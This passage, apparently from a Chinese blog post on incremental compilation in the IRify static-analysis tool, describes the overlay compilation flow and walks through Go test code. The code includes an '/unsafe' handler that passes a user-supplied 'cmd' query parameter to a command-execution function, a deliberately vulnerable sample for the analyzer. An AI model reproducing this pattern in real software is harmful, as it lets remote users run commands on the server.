↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">返回 Base Program</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">增量编译流程（Diff Program）</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">输入：新文件系统 </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> Base Program Name</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">1</span><span class="token plain">: 从数据库加载 Base Program</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">2</span><span class="token plain">: 判断 Base Program 类型</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 是 Overlay → 使用 AggregatedFS</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 是差量 Program → 创建临时 Overlay </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Layer1 </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> Layer2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  └─ 是全量 Program → 重建文件系统</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">3</span><span class="token plain">: 计算文件差异 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">FileHashMap</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 比较 BaseFS 和 NewFS</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 生成 FileHashMap </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">-</span><span class="token number" style="color:#36acaa">1</span><span class="token plain">:删除</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">:修改</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain">:新增</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  └─ 只编译变更文件</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">4</span><span class="token plain">: 编译差量 Program</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 编译变更文件</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 设置 BaseProgramName</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 设置 FileHashMap</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  └─ 保存到数据库</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">5</span><span class="token plain">: 创建</span><span class="token operator" style="color:#393A34">/</span><span class="token plain">扩展 ProgramOverLay</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ Base 是 Overlay → extendOverlayWithNewLayer</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  └─ Base 不是 Overlay → NewProgramOverLay</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">6</span><span class="token plain">: 聚合文件系统</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 从最上层到最下层查找文件</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 上层覆盖下层</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 处理删除文件 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">hash</span><span class="token operator" style="color:#393A34">=</span><span class="token operator" style="color:#393A34">-</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  └─ 生成 AggregatedFS</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">7</span><span class="token plain">: 保存 Overlay 元数据</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 收集所有 Layer 名称</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 设置 IsOverlay </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ├─ 设置 OverlayLayers </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">layer1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> layer2</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  └─ 只更新当前 Program（不更新 Layer）</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Step </span><span class="token number" style="color:#36acaa">8</span><span class="token plain">: 更新缓存和配置</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">返回 Diff Program </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">包含 Overlay</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>流程图（Mermaid）：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5a1b20481c1cef1b-1c6b35d5b7178c8104b8d2eb29356656.jpg" width="1080" height="323" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="如何在irify中开启增量编译">如何在IRify中开启增量编译？<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E5%A6%82%E4%BD%95%E5%9C%A8irify%E4%B8%AD%E5%BC%80%E5%90%AF%E5%A2%9E%E9%87%8F%E7%BC%96%E8%AF%91" class="hash-link" aria-label="如何在IRify中开启增量编译？的直接链接" title="如何在IRify中开启增量编译？的直接链接" translate="no">​</a></h2>
<p>IRify 提供了两种对增量编译的使用方式。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在重新编译中自动增量编译">在重新编译中自动增量编译<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E5%9C%A8%E9%87%8D%E6%96%B0%E7%BC%96%E8%AF%91%E4%B8%AD%E8%87%AA%E5%8A%A8%E5%A2%9E%E9%87%8F%E7%BC%96%E8%AF%91" class="hash-link" aria-label="在重新编译中自动增量编译的直接链接" title="在重新编译中自动增量编译的直接链接" translate="no">​</a></h2>
<p>目前增量编译作为<code>SSA 项目探测.yak</code>脚本开放的编译选项存在：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/92f2fd7a4adaaf7f-d426b3ac17ddbee3e39ddfea9b3b709e.png" width="806" height="924" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>当<strong>启动增量编译</strong>选项勾选后，那么这个编译出来的项目就会被认为是增量项目，在数据库中会标注 <code>is_overlay</code> 为 <code>true</code>。</p>
<p>对一个增量项目进行重编译会自动进行增量编译的逻辑，程序会自动计算 diff 并生成 diff 文件系统。</p>
<p>以下面代码为例进行测试：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">package main</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string-literal string" style="color:#e3116c">"fmt"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string-literal string" style="color:#e3116c">"net/http"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">func</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">HandleFunc</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"/unsafe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> unsafeHandler</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">HandleFunc</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"/safe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> safeHandler</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">Println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"Server starting on :8080..."</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token punctuation" style="color:#393A34">:</span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">ListenAndServe</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">":8080"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token nil constant" style="color:#36acaa">nil</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token nil constant" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">Printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"Server error: %v\n"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">package</span><span class="token plain"> main</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"fmt"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"net/http"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"os/exec"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">funcsafeHandler</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ResponseWriter</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> r </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Request</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    output</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">executeCommandSafe</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"hello"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Error: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">StatusInternalServerError</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    w</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Set</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Content-Type"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"text/plain; charset=utf-8"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Fprint</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> output</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">funcexecuteCommandSafe</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">userInput </span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token builtin">error</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    cmd </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> exec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Command</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"echo"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> userInput</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    output</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> cmd</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">CombinedOutput</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Errorf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"command execution failed: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">output</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>完成编译以后，可以在项目历史的编译历史中查看文件树：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7050641cc7011490-82185cc097edaa7fd3c6d9cd4fb6de2a.png" width="1080" height="577" class="yakdoc-image"></button></p>
<p>接着在项目管理页面的操作框中的编译选项中勾选重新编译：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b593ac74d8f70b07-cb8494a029843409a1e49a6f15549358.jpg" width="893" height="1050" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>然后，修改的测试代码如下：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">package main</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string-literal string" style="color:#e3116c">"fmt"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string-literal string" style="color:#e3116c">"net/http"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">func</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">HandleFunc</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"/unsafe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> unsafeHandler</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">HandleFunc</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"/safe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> safeHandler</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">Println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"Server starting on :8080..."</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token punctuation" style="color:#393A34">:</span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">ListenAndServe</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">":8080"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token nil constant" style="color:#36acaa">nil</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token nil constant" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">Printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"Server error: %v\n"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">package</span><span class="token plain"> main</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"fmt"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"net/http"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"os/exec"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">funcunsafeHandler</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ResponseWriter</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> r </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Request</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    cmdParam </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> r</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">URL</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Query</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"cmd"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> cmdParam </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Missing 'cmd' parameter"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">StatusBadRequest</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    output</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">executeCommandUnsafe</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">cmdParam</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">w</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> fmt</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Error: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> http</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">StatusInternalServerError</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token 